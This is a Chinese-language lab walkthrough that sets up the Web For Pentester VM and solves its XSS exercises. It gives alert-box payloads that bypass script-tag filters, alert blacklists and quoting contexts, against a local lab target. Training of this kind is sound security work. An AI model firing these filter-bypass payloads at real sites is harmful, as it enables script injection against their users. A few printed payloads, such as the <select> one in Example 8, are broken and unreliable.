Web For Pentester靶场搭建 - XSS
Web For Pentester
是集成了一些简单的Web
常见漏洞的靶场,其中有常见的XSS 文件上传 SQL注入 文件包含
等常见漏洞,类似于DVWA
Web For Pentester搭建
Web For Pentester官方直接提供了一个ISO
的镜像文件
下载地址:https://www.pentesterlab.com/exercises/web_for_pentester/attachments
直接安装在VMware
即可使用
占用空间很小,改为桥接模式,给2G
空间,内存512MB
就可以,当然也可以更小
完成后进入虚拟机,直接输入ip a
,查看靶机IP地址为172.16.1.103
使用物理机浏览器访问靶机http://172.16.1.103
搭建完成
XSS Example 1
这里并没有显示源码,就是黑盒测试
,可以看到将name传参的内容使用hello + 传参内容
拼接输出到了页面
这使用<script>alert('xss')</script>
,进行弹窗测试
payload:http://172.16.1.103/xss/example1.php?name=<script>alert('xss')</script>
弹窗成功
XSS Example 2
直接使用<script>alert('xss')</script>
弹窗失败
由于看不到源码,猜测可能是将<script>
标签进行了过滤,尝试双写绕过<sc<script>ript>alert('xss')</sc</script>ript>
弹窗成功,也有可能只过滤了小写的script
标签,所以也可以进行大小写绕过
<SCRIPT>alert('xss')</SCRIPT>
弹窗成功
XSS Example 3
直接进行<sc<script>ript>alert('xss')</sc</script>ript>
双写绕过
弹窗成功
XSS Example 4
尝试<script>alert('xss')</script>
弹窗,发现返回error
猜测可能是黑名单,使用<script>和</script>
测试
很明显这里对<script>
标签进行了黑名单检测,使用<img>
标签进行测试
payload:<img src=1 onerror=alert('xss') />
使用img标签自动加载特性,请求1,由于加载错误,使用onerror
当错误时事情属性,执行alert弹窗
XSS Example 5
经过测试发现,将alert
进行了黑名单,但是并没有对<script>
进行黑名单
prompt绕过
使用prompt
进行弹窗
payload:<script>prompt('xss')</script>
弹窗成功
comfirm绕过
也可以使用comfirm
进行弹窗
payload:<script>confirm</script>
弹窗成功
String.fromCharCode Unicode编码绕过
也可以使用Unicode
编码进行绕过
javascrpt
中String.fromCharCode
方法可以将Unicode
转换为字符串
使用在线工具计算alert('xss')
的Unicode值,为97,108,101,114,116,40,39,120,115,115,39,41
payload:<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>
弹窗成功
XSS Example 6
传入test进行测试
发现传参直接在<script>
中,所以我们需要响闭合SQL注入
语句一样闭合js
代码
payload:";alert('xss')//
,//
在js中是注释,;
代表js中一句代码的结束
弹窗成功
XSS Example 7
直接传入hacker
进行测试
所以与Example 6
关卡一样,不过是将"
改为了'
闭合的方式
payload:';alert('xss')//
弹窗成功
XSS Example 8
设置了一个输入框,直接进行弹窗测试
没有将<script>
标签进行解析为js,这里应该是将我们的标签进行了实例化
通过观察,action
为提交体质,method
为提交方式POST
action会从获取url
中的提交地址,那么我们直接在url中输入/">
就可以闭合form
标签
其中/
代表文件结束,"
闭合action
属性值,>
闭合form
标签
在后面紧跟<script>alert('xss')</script>
就可以执行弹窗
拼接payload:/"><select>alert('xss')</select>
观察源代码
弹窗成功
XSS Example 9
检查源代码进行分析
通过location.hash
直接获取url中#号
后面的内容,并且直接写入到了页面
所以直接传入<script>alert('xss')</script>
就可以弹窗
这里乱码,在网上查找大佬的教程,这里Chrome
和Firefox
都会对<>
进行编码,所以没有执行成功
在IE浏览器中测试成功